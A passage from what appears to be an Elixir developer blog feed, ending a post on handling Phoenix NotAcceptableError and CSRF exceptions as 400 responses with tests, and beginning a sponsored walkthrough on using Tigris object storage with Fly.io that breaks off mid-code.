&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;** (Phoenix.NotAcceptableError) no supported media type in accept header.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;Expected one of [&quot;html&quot;] but got the following formats:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  * &quot;text/plain&quot; with extensions: [&quot;txt&quot;, &quot;text&quot;]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;To accept custom formats, register them under the :mime library
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;in your config/config.exs file:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;    config :mime, :types, %&amp;lbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;      &quot;application/xml&quot; =&gt; [&quot;xml&quot;]
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &amp;rbrace;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;And then run `mix deps.clean --build mime` to force it to be recompiled.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;or this one:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;** (Plug.CSRFProtection.InvalidCSRFTokenError) invalid CSRF (Cross Site Request Forgery) token, please make sure that:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  * The session cookie is being sent and session is loaded
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  * The request include a valid &amp;#39;_csrf_token&amp;#39; param or &amp;#39;x-csrf-token&amp;#39; header
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Phoenix throws these exceptions when it protects you from invalid - and potentially malicious - requests. The first exception occurs when a user tries to acces your website through e.g. a script and forgot to set a correct &lt;code&gt;Mime&lt;/code&gt; type in the &lt;code&gt;Accept&lt;/code&gt; request header. The second exception occurs when somebody tries to submit a form without the proper CSRF token which protects you from forgery.&lt;/p&gt;
&lt;p&gt;It&apos;s great that Phoenix protects us from such bad requests, but how can we make it a bit less noisy? Ideally, we would not receive exception alerts whenever a user makes a bad request.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution&quot;&gt;&lt;/a&gt;The Solution&lt;/h2&gt;
&lt;p&gt;The solution is quite simple: We can implement the &lt;a href=&quot;https://hexdocs.pm/plug/Plug.Exception.html&quot;&gt;Plug.Exception&lt;/a&gt; protocol for the Phoenix errors and this will convert the exception into a &lt;code&gt;400&lt;/code&gt; bad request response status.&lt;/p&gt;
&lt;p&gt;All we have to do is to put these lines into e.g. our &lt;code&gt;error_html.ex&lt;/code&gt; file:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Return a 400 instead of raising an Exception if a request has&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# the wrong Mime format (e.g. &quot;text&quot;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defimpl&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;for: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Phoenix.NotAcceptableError&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;400&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Return a 400 instead of raising an Exception if a request has&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# an invalid CSRF token.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defimpl&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;for: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.CSRFProtection.InvalidCSRFTokenError&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;status&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;400&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;actions&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;_exception&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;do: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! The user will now receive a &lt;code&gt;400&lt;/code&gt; response status, our application won&apos;t throw an error, and our error tracker won&apos;t send us email alerts about noisy exceptions anymore. Great!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#testing&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;testing&quot;&gt;&lt;/a&gt;Testing&lt;/h2&gt;
&lt;p&gt;You can&apos;t trust your code unless you tested it, so let&apos;s write some tests that proof that our exceptions are now returned as proper &lt;code&gt;400&lt;/code&gt; bad request responses.&lt;/p&gt;
&lt;p&gt;These are the two tests you need:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;returns 400 for invalid Mime formats&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_error_sent&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_req_header&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;accept&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;text/plain&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;p&quot;/&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;returns 400 for invalid CSRF tokens&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_error_sent&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;400&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;fn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;-&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# This private flag is set in our tests and disables the CSRF protection.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# We need to enable it manually if we want to test the CSRF protection.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;put_private&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:plug_skip_csrf_protection&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;|&gt;&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;post&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;~&lt;/span&gt;p&quot;/users/log_in&quot;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;      &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;user&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;_csrf_token&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;invalid&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;email&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;test@test.com&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;        &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;password&quot;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&gt;&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Testtesttest123&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you run these tests before you add the &lt;code&gt;defimpl&lt;/code&gt; functions to your application, you should see the same exceptions as mentioned above. Now, add the &lt;code&gt;defimpl&lt;/code&gt; functions and run the tests again. No more exceptions!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, check out my latest startup &lt;a href=&quot;https://indiecourses.com&quot;&gt;Indie Courses&lt;/a&gt; or &lt;a href=&quot;https://peterullrich.com/course&quot;&gt;video course&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until the next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/handle-phoenix-exceptions-gracefully"/>
    <id>https://peterullrich.com/handle-phoenix-exceptions-gracefully</id>
    <title>Handle Phoenix Exceptions gracefully</title>
    <updated>2024-04-13T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Hey everyone,&lt;/p&gt;
&lt;p&gt;Today&apos;s article is sponsored by &lt;a href=&quot;https://www.tigrisdata.com&quot;&gt;Tigris&lt;/a&gt;. They were so kind to give me beta access to their globally distributed S3-compatible Object Storage before their public beta launch. Tigris partners with &lt;a href=&quot;fly.io&quot;&gt;Fly.io&lt;/a&gt; to distribute your files globally, which makes accessing them anywhere in the world super fast. Tigris is an excellent drop-in solution if you use S3 and give users access to your files.&lt;/p&gt;
&lt;p&gt;I tried out Tigris and was quite impressed. The following blog post contains my experience and a detailed walkthrough of how to integrate Tigris into your Elixir application. Let&apos;s get started!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#whats-tigris&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;whats-tigris&quot;&gt;&lt;/a&gt;What&apos;s Tigris&lt;/h2&gt;
&lt;p&gt;The advantage of Tigris is that it allows low-latency access to your files anywhere in the world. That means users can download files from your server fast, regardless of location. But why is that important?&lt;/p&gt;
&lt;p&gt;Usually, when you set up an S3 bucket, you choose only one location to host your files. That means you store all your files in one region. Now, if a user from Australia wants to download a file from your server located in e.g. Amsterdam, the download request travels from Australia to Europe and back. That can take a second or more, which creates a horrible user experience for your Australian user. It would be better if a copy of the file was stored in Australia too. That way, the request stays within the region, which makes it super fast and the user super happy. That&apos;s where Tigris comes in.&lt;/p&gt;
&lt;p&gt;Tigris takes over the complex and tedious work of replicating your file in more than one location. When you upload a file, it first stays in the region where you uploaded it. But if a user from another region requests the file, it gets replicated and cached in the other region as well. That way, the file is available as close to the users as possible.&lt;/p&gt;
&lt;p&gt;Tigris partners with &lt;a href=&quot;https://fly.io&quot;&gt;Fly.io&lt;/a&gt; to achieve this replication. Fly is well-known for drastically simplifying the process of running your application in all regions of the world. Tigris uses Fly&apos;s infrastructure to store your files in currently ten regions* but plans to expand the network to all 35 regions served by Fly. It is independent of the regions where you deploy your fly apps. So, even if your app only runs in one region, Tigris will cache your files in all available regions.&lt;/p&gt;
&lt;p&gt;This all sounds very complicated, but luckily, the setup is super simple. Tigris mimics the AWS S3 API, so any library that works with S3 also works with Tigris. If you use S3 already with e.g. &lt;a href=&quot;https://hexdocs.pm/ex_aws_s3/ExAws.S3.html&quot;&gt;ExAws.S3&lt;/a&gt;, you only have to change a few settings. Let&apos;s have a look.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;The ten regions are Frankfurt, Sao Paulo, Ashburn (US), Johannesburg, London, Madrid, Chicago, Singapore, San Jose, and Sydney&lt;/em&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-setup&quot;&gt;&lt;/a&gt;The Setup&lt;/h2&gt;
&lt;p&gt;As a demo project, I created a small image guessing game called &lt;code&gt;RecIt&lt;/code&gt;. You can find the demo &lt;a href=&quot;https://rec-it.fly.dev/&quot;&gt;deployed on Fly.io&lt;/a&gt; and the code &lt;a href=&quot;https://github.com/PJUllrich/rec-it&quot;&gt;on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;The game is simple: Select the category of sport you see in an image.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/tigris/game-ui.png&quot; alt=&quot;A screenshot of the RecIt game which shows a score, an image, and four buttons with categories.&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Both speed and correctness are important. The faster you categorize the image, the better. That means our application must show the image as fast as possible. Otherwise, players from regions with faster access to the images have an unfair advantage. Let&apos;s see how we can use Tigris to make file access fast for users everywhere.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#add-a-tigris-bucket&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;add-a-tigris-bucket&quot;&gt;&lt;/a&gt;Add a Tigris Bucket&lt;/h3&gt;
&lt;p&gt;First, we create a new application with &lt;code&gt;mix phx.new recit&lt;/code&gt; and deploy it to Fly with &lt;code&gt;fly launch&lt;/code&gt;. Now, we can add the S3 bucket managed by Tigris. The following steps are from the official &lt;a href=&quot;https://www.tigrisdata.com/docs/get-started/&quot;&gt;Get Started&lt;/a&gt; guide.&lt;/p&gt;
&lt;p&gt;First, we need to add our bucket to Fly. Run this and follow the instructions:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;fly storage create
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you add a Tigris bucket from inside a fly project, it will automatically add it to the fly app and won&apos;t reveal the environment variables you need to access it. That&apos;s good for production but not so great for local development. Let&apos;s add another bucket for local development. Run the following, and Tigris will reveal the environment variables at the end of the command:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&gt; cd .. &amp;&amp; fly storage create
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;➜  Development fly storage create
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;? Select Organization: Your Organization
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;? Choose a name, use the default, or leave blank to generate one: my-dev-bucket
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;Your Tigris project (my-dev-bucket) is ready. See details and next steps with: https://fly.io/docs/reference/tigris/
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;Set one or more of the following secrets on your target app.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;BUCKET_NAME: my-dev-bucket
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;AWS_ENDPOINT_URL_S3: https://fly.storage.tigris.dev
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;AWS_ACCESS_KEY_ID: tid_your-access-key
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;AWS_SECRET_ACCESS_KEY: tsec_your-secret-access-key
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;AWS_REGION: auto
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Don&apos;t forget to copy &amp; paste the environment variables into a &lt;code&gt;.env&lt;/code&gt; file. Now, we can start developing locally.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#connect-to-the-tigris-bucket&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;connect-to-the-tigris-bucket&quot;&gt;&lt;/a&gt;Connect to the Tigris Bucket&lt;/h3&gt;
&lt;p&gt;Tigris provides instructions for many different languages on how to connect to their buckets. The following steps are from the &lt;a href=&quot;https://www.tigrisdata.com/docs/sdks/s3/aws-elixir-sdk/&quot;&gt;Elixir guide&lt;/a&gt;:&lt;/p&gt;
&lt;p&gt;First, we need to add the dependencies to &lt;code&gt;mix.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
